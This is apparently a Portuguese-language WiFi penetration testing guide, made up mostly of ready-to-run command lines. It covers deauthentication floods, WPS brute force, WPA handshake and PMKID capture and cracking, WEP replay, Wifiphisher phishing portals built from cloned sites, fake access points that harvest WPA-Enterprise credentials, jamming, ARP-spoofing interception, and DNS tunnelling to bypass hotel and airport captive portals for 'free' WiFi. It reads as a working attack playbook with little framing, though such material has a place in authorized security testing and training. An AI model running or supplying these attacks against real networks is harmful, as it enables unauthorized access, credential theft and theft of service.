
Guia de Testes de Penetração WiFi
2.1. Portais cativos
3.1. Sem clientes
4.1. Quebrando o handshake de 4 vias
4.2. Ataque PMKID
4.3. Ataque sem AP
5.2. Força bruta
6.1. Ataque Krack e Ataque Frag
6.2. OSINT
6.3. Bloqueio de WiFi
6.4. Outros frameworks
7.1. Atacando o roteador
7.2. Tipos de scanners
7.3. Spoofing
VARIABLE=value
iwconfig $IFACE
ifconfig $IFACE
airmon-ng check kill
ifconfig $IFACE down
iwconfig $IFACE mode monitor
ifconfig $IFACE up
Definir modo monitor
Executar Airodump-ng
airodump-ng $IFACE -c $CHANNEL -e $ESSID
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC $IFACE
Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.
Em outro terminal, desautentique um cliente ou todos. Quando o Airodump-ng capturar um handshake desta rede, o nome ou ESSID aparecerá no primeiro terminal:
aireplay-ng -0 $NUMBER_DEAUTH_PACKETS -a $AP_MAC -c $CLIENT_MAC $IFACE
Liste as redes usando Airodump-ng e obtenha o endereço MAC do AP ($AP_MAC) e de um cliente ($CLIENT_MAC). Não pare a captura.
2.a. Executar um ataque de dicionário
mdk3 $IFACE p -t $AP_MAC -f $DICTIONARY_PATH
2.b. Ou executar um ataque de força bruta
mdk3 $IFACE p -t $AP_MAC -с $AP_CHANNEL -b $CHARACTER_SET
Para o conjunto de caracteres, é possível usar l (letras minúsculas), u (letras maiúsculas), n (números), c (minúsculas+maiúsculas), m (minúsculas+maiúsculas+números) ou a (todos os imprimíveis).
Clone um site usando HTTrack
Instale o Wifiphiser. Adicione o resultado do HTTrack em uma nova pasta em wifiphisher/data/phishing-pages/new_page/html e um arquivo de configuração em wifiphisher/data/phishing-pages/new_page/config.ini.
Recompile o projeto usando python setup.py install ou o binário em bin.
Este comando funciona corretamente na versão mais recente do Kali após instalar o hostapd:
cd bin && ./wifiphisher -aI $IFACE -e $ESSID --force-hostapd -p $PLUGIN -nE
O primeiro método para contornar um portal cativo é alterar seu endereço MAC para o de um usuário já autenticado
macchanger
Um script personalizado como este(Bash)
Além disso, você pode usar scripts para automatizar o processo como:
Um segundo método é criar um túnel DNS. Para isso, é necessário ter um servidor DNS acessível próprio. Você pode usar este método para contornar o portal cativo e obter WiFi "grátis" em hotéis, aeroportos...
nslookup example.com
Um "registro A": dns.$DOMAIN apontando para $SERVER_IP (Exemplo: dns.domain.com 139.59.172.117)
Um "registro NS": hack.$DOMAIN apontando para dns.$DOMAIN (Exemplo: hack.domain.com dns.domain.com)
iodined -f -c -P $PASS -n $SERVER_IP 10.0.0.1 hack.$DOMAIN
Verifique se funciona corretamente aqui
Execução no cliente
iodine -f -P $PASS $DNS_SERVER_IP hack.$DOMAIN
ssh -D 8080 [email protected]
Uma vez na rede, você pode testar se ela é vulnerável a ataques Man-in-the-Middle.
Ataque de ARP Spoofing usando Ettercap
Sniffar o tráfego usando Wireshark ou TCPdump
Analisar o tráfego usando PCredz (Linux) ou Network Miner (Windows)
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -1 0 -e $AP_NAME -a $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -3 -b $AP_MAC -h $MY_MAC $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng $PCAP_FILE
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $PCAP_FILE $IFACE
aireplay-ng -0 1 -a $AP_MAC -c $STATION_MAC $IFACE
aircrack-ng -w $WORDLIST capture.cap
Você pode obter wordlists aqui.
pyrit -r $PCAP_FILE analyze
pyrit -r $PCAP_FILE -o $CLEAN_PCAP_FILE strip
pyrit -i $WORDLIST import_passwords
pyrit eval
pyrit batch
pyrit -r $CLEAN_PCAP_FILE attack_db
Você pode usar este script ou seguir estes passos:
Instale Hcxdumptool e Hcxtool (você pode usar este script).
Pare o Network Manager
airmon-ng check kill
3a. Se quiser atacar um endereço MAC específico
echo $MAC | sed 's/://g' > $FILTER_FILE
hcxdumptool -i $IFACE -o $PCAPNG_FILE --enable_status=1 --filterlist=$FILTER_FILE --filtermode=2
hcxpcaptool -z $HASH_FILE $PCAPNG_FILE
A estrutura de cada linha é: PMKID * MAC ROTEADOR * ESTAÇÃO * ESSID (verifique em: https://www.rapidtables.com/convert/number/hex-to-ascii.html)
hashcat -a 0 -m 16800 $HASH_FILE $WORDLIST --force
Se você tiver acesso a um dispositivo cliente com a conexão WiFi ligada, mas não houver uma rede por perto, ainda poderá atacar essa rede se o dispositivo cliente já tiver se conectado a ela anteriormente.
Para isso, você deve criar um Ponto de Acesso Falso usando hostapd com um arquivo de configuração como este, com qualquer senha, mas o mesmo nome de rede. Crie a rede falsa; o dispositivo cliente tentará se conectar a ela e você obterá o handshake de 4 vias, como na seção 4.1 deste guia.
Caso não queira usar a máquina virtual, você pode instalar tudo usando:
git clone https://github.com/ricardojoserf/WPA_Enterprise_Attack
cd WPA_Enterprise_Attack && sudo sh install.sh
Inicie o Ponto de Acesso usando:
sh freeradius_wpe_init.sh $AP_NAME $INTERFACE
Quando um cliente se conectar, leia os logs com:
sh freeradius_wpe_read.sh
sh hostapd_wpe_init.sh $AP_NAME $INTERFACE
Descubra métodos EAP suportados
Estes são dois ataques avançados descobertos pelo grande Mathy Vanhoef:
Scripts do Ataque Krack - Explicado neste site
Scripts do Ataque Frag - Explicado neste site
Um exemplo para desautenticar todos os dispositivos, exceto um Ponto de Acesso Falso:
sudo ./wifijammer -i $IFACE -s $FAKE_AP_MAC
Linux:
Windows:
Uma vez conectado à rede
Nmap/Zenmap - Scanner de Segurança, Scanner de Portas e Ferramenta de Exploração de Rede
Masscan - A versão mais rápida do nmap (pode quebrar coisas, então tenha cuidado)
Netdiscover - Sniffing ARP. Muito útil se as redes forem muito segmentadas
| Sistema operacional | Plataforma | Credenciais | Tamanho | Link |
|---|
| Ubuntu 16.04.5 | VMware | ricardojoserf:wifi | 3.25 GB | MEGA |
| Kali 2019.1 | VMware | root:wifi | 4.99 GB | MEGA |
| Ubuntu 16.04.5 | VirtualBox (OVA) | ricardojoserf:wifi | 3.18 GB | MEGA |
| Kali 2019.1 | VirtualBox (OVA) | root:wifi | 5.56 GB | MEGA |